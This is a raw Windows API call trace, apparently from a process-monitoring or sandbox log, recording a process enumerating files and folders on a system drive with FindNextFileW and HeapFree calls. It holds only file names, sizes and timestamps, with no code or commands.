	[0153.670] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef6c9427, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef6c9427, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1236, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="updaterevokesipolicy.p7b", cAlternateFileName="UPDATE~1.P7B")) returned 1
	[0153.671] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0153.671] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="zh-HK", cAlternateFileName="")) returned 1
	[0153.671] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0153.671] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="zh-TW", cAlternateFileName="")) returned 1
	[0153.672] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0153.672] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="zh-TW", cAlternateFileName="")) returned 0
	[0153.672] FindClose (in: hFindFile=0x41400d8 | out: hFindFile=0x41400d8) returned 1
	[0153.672] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x39f0740 | out: hHeap=0x5a0000) returned 1
	[0153.674] FindNextFileW (in: hFindFile=0x5ba2b0, lpFindFileData=0x310fcf8 | out: lpFindFileData=0x310fcf8*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xe47a48a8, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfb90936b, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0x607da, dwReserved0=0x77be0000, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1
	[0153.676] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x39f0740 | out: hHeap=0x5a0000) returned 1
	[0153.676] FindNextFileW (in: hFindFile=0x5ba2b0, lpFindFileData=0x310fcf8 | out: lpFindFileData=0x310fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ESD", cAlternateFileName="")) returned 1
	[0153.679] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x39f0740 | out: hHeap=0x5a0000) returned 1
	[0153.679] FindNextFileW (in: hFindFile=0x5ba2b0, lpFindFileData=0x310fcf8 | out: lpFindFileData=0x310fcf8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x7ef2dddf, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x7ef2dddf, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb46f2c3a, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x332fe000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1
	[0153.851] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x39f0740 | out: hHeap=0x5a0000) returned 1
	[0153.851] FindNextFileW (in: hFindFile=0x5ba2b0, lpFindFileData=0x310fcf8 | out: lpFindFileData=0x310fcf8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6e97b025, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0x6e97b025, ftLastAccessTime.dwHighDateTime=0x1d3275c, ftLastWriteTime.dwLowDateTime=0xb64486c7, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x28000000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1
	[0153.853] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x39f0740 | out: hHeap=0x5a0000) returned 1
	[0153.853] FindNextFileW (in: hFindFile=0x5ba2b0, lpFindFileData=0x310fcf8 | out: lpFindFileData=0x310fcf8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xecb96137, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xecb96137, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1
	[0153.855] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4166fe8 | out: hHeap=0x5a0000) returned 1
	[0153.855] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fac2bb0, ftCreationTime.dwHighDateTime=0x1d5c432, ftLastAccessTime.dwLowDateTime=0x394ecfb0, ftLastAccessTime.dwHighDateTime=0x1d5bade, ftLastWriteTime.dwLowDateTime=0x394ecfb0, ftLastWriteTime.dwHighDateTime=0x1d5bade, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0xffffea39, dwReserved1=0xa3a, cFileName="fling.exe", cAlternateFileName="")) returned 1
	[0153.861] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4176ff0 | out: hHeap=0x5a0000) returned 1
	[0153.861] FindNextFileW (in: hFindFile=0x4140498, lpFindFileData=0x310f584 | out: lpFindFileData=0x310f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ink", cAlternateFileName="")) returned 1
	[0153.869] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4198008 | out: hHeap=0x5a0000) returned 1
	[0153.869] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x439, dwReserved1=0x638, cFileName="bg-BG", cAlternateFileName="")) returned 1
	[0153.869] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4198008 | out: hHeap=0x5a0000) returned 1
	[0153.869] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x439, dwReserved1=0x638, cFileName="Content.xml", cAlternateFileName="")) returned 1
	[0153.869] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4198008 | out: hHeap=0x5a0000) returned 1
	[0153.869] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x439, dwReserved1=0x638, cFileName="da-DK", cAlternateFileName="")) returned 1
	[0153.869] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4198008 | out: hHeap=0x5a0000) returned 1
	[0153.869] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x439, dwReserved1=0x638, cFileName="de-DE", cAlternateFileName="")) returned 1
	[0153.872] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4198008 | out: hHeap=0x5a0000) returned 1
	[0153.872] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x439, dwReserved1=0x638, cFileName="el-GR", cAlternateFileName="")) returned 1
	[0153.872] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4198008 | out: hHeap=0x5a0000) returned 1
	[0153.872] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x439, dwReserved1=0x638, cFileName="en-GB", cAlternateFileName="")) returned 1
	[0153.872] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4198008 | out: hHeap=0x5a0000) returned 1
	[0153.872] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x439, dwReserved1=0x638, cFileName="en-US", cAlternateFileName="")) returned 1
	[0153.873] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4198008 | out: hHeap=0x5a0000) returned 1
	[0153.873] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x439, dwReserved1=0x638, cFileName="es-ES", cAlternateFileName="")) returned 1
	[0153.875] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4198008 | out: hHeap=0x5a0000) returned 1
	[0153.875] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x439, dwReserved1=0x638, cFileName="es-MX", cAlternateFileName="")) returned 1
	[0153.875] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4198008 | out: hHeap=0x5a0000) returned 1
	[0153.875] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x439, dwReserved1=0x638, cFileName="et-EE", cAlternateFileName="")) returned 1
	[0153.876] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4198008 | out: hHeap=0x5a0000) returned 1
	[0153.876] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x439, dwReserved1=0x638, cFileName="fi-FI", cAlternateFileName="")) returned 1
	[0153.876] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4198008 | out: hHeap=0x5a0000) returned 1
	[0153.876] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8f49e8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd11f8841, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd11f8841, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x439, dwReserved1=0x638, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1
	[0153.878] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4198008 | out: hHeap=0x5a0000) returned 1
	[0153.878] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06369df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x439, dwReserved1=0x638, cFileName="fr-FR", cAlternateFileName="")) returned 1
	[0153.878] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4198008 | out: hHeap=0x5a0000) returned 1
	[0153.878] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0637839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x439, dwReserved1=0x638, cFileName="fsdefinitions", cAlternateFileName="FSDEFI~1")) returned 1
	[0153.880] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41b8018 | out: hHeap=0x5a0000) returned 1
	[0153.881] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0xe, dwReserved1=0xfffff9d8, cFileName="auxpad.xml", cAlternateFileName="")) returned 1
	[0153.882] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41b8018 | out: hHeap=0x5a0000) returned 1
	[0153.882] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0xe, dwReserved1=0xfffff9d8, cFileName="insert.xml", cAlternateFileName="")) returned 1
	[0153.882] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41b8018 | out: hHeap=0x5a0000) returned 1
	[0153.882] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b5, dwReserved0=0xe, dwReserved1=0xfffff9d8, cFileName="keypad.xml", cAlternateFileName="")) returned 1
	[0153.886] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41b8018 | out: hHeap=0x5a0000) returned 1
	[0153.887] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadda, dwReserved0=0xe, dwReserved1=0xfffff9d8, cFileName="main.xml", cAlternateFileName="")) returned 1
	[0153.887] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41b8018 | out: hHeap=0x5a0000) returned 1
	[0153.887] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0xe, dwReserved1=0xfffff9d8, cFileName="oskclearui.xml", cAlternateFileName="")) returned 1
	[0153.889] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41b8018 | out: hHeap=0x5a0000) returned 1
	[0153.889] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0xe, dwReserved1=0xfffff9d8, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1
	[0153.889] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41b8018 | out: hHeap=0x5a0000) returned 1
	[0153.889] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0xe, dwReserved1=0xfffff9d8, cFileName="osknav.xml", cAlternateFileName="")) returned 1
	[0153.889] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41b8018 | out: hHeap=0x5a0000) returned 1
	[0153.889] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0xe, dwReserved1=0xfffff9d8, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1
	[0153.889] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41b8018 | out: hHeap=0x5a0000) returned 1
	[0153.889] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0xe, dwReserved1=0xfffff9d8, cFileName="oskpred.xml", cAlternateFileName="")) returned 1
	[0153.891] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41b8018 | out: hHeap=0x5a0000) returned 1
	[0153.893] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0xe, dwReserved1=0xfffff9d8, cFileName="symbols.xml", cAlternateFileName="")) returned 1
	[0153.894] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4198008 | out: hHeap=0x5a0000) returned 1
	[0153.894] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf9a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x439, dwReserved1=0x638, cFileName="he-IL", cAlternateFileName="")) returned 1
	[0153.895] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4188000 | out: hHeap=0x5a0000) returned 1
	[0153.895] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cfce2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x439, dwReserved1=0x638, cFileName="hr-HR", cAlternateFileName="")) returned 1
	[0153.895] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4188000 | out: hHeap=0x5a0000) returned 1
	[0153.895] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06d0656, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x439, dwReserved1=0x638, cFileName="hu-HU", cAlternateFileName="")) returned 1
	[0153.895] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x625a30, Size=0x4000) returned 0x4198008
